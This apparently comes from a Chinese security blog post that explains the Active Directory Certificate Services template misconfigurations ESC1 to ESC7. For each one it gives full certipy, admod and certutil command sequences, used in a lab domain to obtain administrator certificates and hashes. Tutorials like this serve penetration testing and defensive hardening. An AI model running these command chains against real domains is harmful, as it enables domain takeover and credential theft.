ESC1-ECS7 证书模板配置错误

系统默认配置的证书模板中,只有机器模板出现了漏洞,也就是 CVE-2022-26923,此漏洞允许我们控制申请到的证书的 Subject Alternative Name(SAN,主题备用名称扩展)值,导致此证书可以代表其他用户进行 PKINIT kerberos 身份验证。

生产场景中,也可能出现人为配置的证书模板,人为配置的模板也可能会出现漏洞,这些由模板配置错误而产生的漏洞都归类到了 ESC 系列,ESC 系列有 11 种存在漏洞的模板。

ESC1:证书模板允许请求用户在 CSR 指定 SAN

ESC1 和 CVE-2022-26923 比较相似,只不过 ESC1 是直接通过编辑 CSR 中的 SAN 值,而 CVE-2022-26923 是通过修改机器用户的 dNSHostName 属性来控制 SAN 值。

存在 ESC1 的模板属性存在 4 个如下条件:

  1. 扩展选项中包含客户端认证,以支持 PKINIT kerberos 认证。

  2. 安全选项中给域用户注册权限。

  3. 使用者名称被设置为在请求中提供。

  4. 证书模板未设置批准程序,以确保注册证书不会被挂起来等待管理员批准。

当使用请求到的证书进行 PKINIT kerberos 身份验证时,kdc 将 SAN 指定的 UPN 映射到目标用户,并返回目标用户的 tgt 和 st。

漏洞利用
  1. 查找存在漏洞的证书模板。

# 查找存在漏洞的证书模板,certipy 将有漏洞的证书记录在 txt 文件下。
certipy find -vulnerable -u deandean@HACK.com -p p-0p-0p-0 -dc-ip 192.168.72.21 -target-ip 192.168.72.21

  1. 申请 ESC1 模板证书,并指定 SAN 为管理员。

# 提供 deandean 用户账号密码,修改 SAN 为 HACK\administrator,申请证书。
certipy req -u deandean@HACK.com -p p-0p-0p-0 -dc-ip 192.168.72.21 -target-ip 192.168.72.21 -ca HACK-DC01-CA -template ESC1 -upn administrator@HACK.com
​
# 认证获得 administrator 的 hash
certipy auth -pfx administrator.pfx -dc-ip 192.168.72.21

ESC2:证书模板定义的 EKU 类型为“任何目的”或“无”

存在 ESC2 的模板属性存在如下条件:

  1. 安全选项中给域用户注册权限。

  2. 证书模板未设置批准程序,以确保注册证书不会被挂起来等待管理员批准。

  3. 证书模板定义了 “任何目的” 类型的 EKU 或 “无” 类型的 EKU。

    • “任何目的” 类型:此 EKU 指证书可以用于任何目的。

    • “无” 类型:此 EKU 指该证书没有 EKU,相当于从属 CA 的证书。

漏洞利用
  1. 查找存在漏洞的证书模板。

# 查找存在漏洞的证书模板,certipy 将有漏洞的证书记录在 txt 文件下。
certipy find -vulnerable -u deandean@HACK.com -p p-0p-0p-0 -dc-ip 192.168.72.21 -target-ip 192.168.72.21
  1. 使用 ESC2 证书给自己颁发 administrator 证书。

# 申请 ESC2 证书
certipy req -u deandean@HACK.com -p p-0p-0p-0 -dc-ip 192.168.72.21 -target-ip 192.168.72.21 -ca HACK-DC01-CA -template ESC2
​
# 使用 ESC2 证书作为从属 CA 证书,为我们颁发 administrator 证书。
certipy req -u deandean@HACK.com -p p-0p-0p-0 -dc-ip 192.168.72.21 -target-ip 192.168.72.21 -ca HACK-DC01-CA -template User -on-behalf-of "HACK\administrator" -pfx deandean.pfx
​
# 认证获得 administrator 的 hash
certipy auth -pfx administrator.pfx -dc-ip 192.168.72.21 -debug

ESC3:滥用 ”证书代理申请“ 的EKU

证书代理申请 EKU 允许一个用户或实体(代理)代表另一个用户提交证书请求。这种设置通常用于需要跨用户申请证书的场景,例如在某些自动化流程或委派场景下,管理员或服务账户可以代表普通用户申请证书。配置的话不多说,1.用户能申请。2.有证书代理申请的扩展。

漏洞利用
  1. 查找存在漏洞的证书模板。

# 查找存在漏洞的证书模板,certipy 将有漏洞的证书记录在 txt 文件下。
certipy find -vulnerable -u deandean@HACK.com -p p-0p-0p-0 -dc-ip 192.168.72.21 -target-ip 192.168.72.21
  1. 使用 ESC3 代理申请 administrator 证书。

# 申请 ESC3 模板的证书
certipy req -u deandean@HACK.com -p p-0p-0p-0 -dc-ip 192.168.72.21 -target-ip 192.168.72.21 -ca HACK-DC01-CA -template ESC3
​
# 以 ESC3 模板的证书为 administrator 用户申请证书
certipy req -u deandean@HACK.com -p p-0p-0p-0 -dc-ip 192.168.72.21 -target-ip 192.168.72.21 -ca HACK-DC01-CA -template User -on-behalf-of "HACK\administrator" -pfx deandean.pfx
​
# 认证获得 administrator 的 hash
certipy auth -pfx administrator.pfx -dc-ip 192.168.72.21 -debug

ESC4:普通用户能修改证书模板

普通用户将此证书模板修改为其他能攻击的证书模板,如:ESC1,然后使用 ESC1 的思路进行漏洞利用。

漏洞利用
  1. 通过 AdMod 在模板对象的 mspki-certificate-name-flag 属性中启用 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 标志,以启用使用者名称在请求中提供的设置

admod -b "CN=ESC4,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=HACK,DC=com" "msPKI-Certificate-Name-Flag::1"
  1. ESC1 漏洞利用手法。

ESC5:其他攻击手段

范围较广。

  • CA 服务器的 AD 计算机对象(即通过 S4U2Self 或 S4U2Proxy 进行攻击) 。

  • CA服务器的 RPC/DCOM 服务器 。

  • 容器中的任何子 AD 对象或容器 CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=例如, 证书模板容器、证书颁发机构容器、 NTAuthCertificates 对象、注册服务容器等)。

ESC6:CA启用 EDITF_ATTRIBUTESUBJECTALTNAME2 标志

效果与 ESC1 类似,这个标志允许请求者在所有证书上指定任意 SAN,而不管证书模板的配置。

启用此标志流程:

  1. ADCS 服务器上执行以下命令并重启 CertSvc 服务(这将在注册表项\CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy 的 EditFlags 键中设置 EDITF_ATTRIBUTESUBJECTALTNAME2 值)

#设置
certutil -config "DC01.HACK.com\HACK-DC01-CA" -setreg "policy\EditFlags" +EDITF_ATTRIBUTESUBJECTALTNAME2
​
#删除
certutil -config "DC01.HACK.com\HACK-DC01-CA" -setreg "policy\EditFlags" -EDITF_ATTRIBUTESUBJECTALTNAME2

2. 查看此标志是否启用

certutil -config "DC01.HACK.com\HACK-DC01-CA" -getreg "policy\EditFlags"

3. 漏洞利用(和 ESC1 一样)。

ESC7:攻击者提权到了 CA 管理员

  • CA 管理员具有 “管理 CA” 的权限,可以启用任意的证书模板。

  • 证书管理员具有 ”颁发和管理证书“ 的权限,可以针对任意的证书请求进行允许或拒绝。

漏洞利用:

  1. 以 CA 管理员权限启用 子从属 CA 的证书模板,此模板如果对外开放将造成 ESC2 和 ESC3 攻击。

  2. 以证书管理员权限针对普通域用户申请的注册进行允许(默认域用户申请 子从属 CA 证书模板 不被允许)

# 现在 deandean 是 CA 管理员
​
# 将 deandean 添加到证书管理员以允许管理证书
certipy ca -u deandean@HACK.com -p p-0p-0p-0 -dc-ip 192.168.72.21 -target-ip 192.168.72.21 -ca HACK-DC01-CA -add-officer deandean
​
# 启用子从属 CA 的证书模板
certipy ca -u deandean@HACK.com -p p-0p-0p-0 -dc-ip 192.168.72.21 -target-ip 192.168.72.21 -ca HACK-DC01-CA -enable-template SubCA
​
# 申请 SubCA 模板证书
certipy req -u deandean@HACK.com -p p-0p-0p-0 -dc-ip 192.168.72.21 -target-ip 192.168.72.21 -ca HACK-DC01-CA -template SubCA
​
# 以 SubCA 模板的证书为 administrator 用户申请证书
certipy req -u deandean@HACK.com -p p-0p-0p-0 -dc-ip 192.168.72.21 -target-ip 192.168.72.21 -ca HACK-DC01-CA -template User -on-behalf-of "HACK\administrator" -pfx deandean.pfx
​
# 如果证书被挂起,处理挂起的证书
certipy ca -u deandean@HACK.com -p p-0p-0p-0 -dc-ip 192.168.72.21 -target-ip 192.168.72.21 -ca HACK-DC01-CA -issue-request [请求id]
certipy ca -u deandean@HACK.com -p p-0p-0p-0 -dc-ip 192.168.72.21 -target-ip 192.168.72.21 -ca HACK-DC01-CA -retrieve [请求id]
​
certipy auth -pfx administrator.pfx -dc-ip 192.168.72.21

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值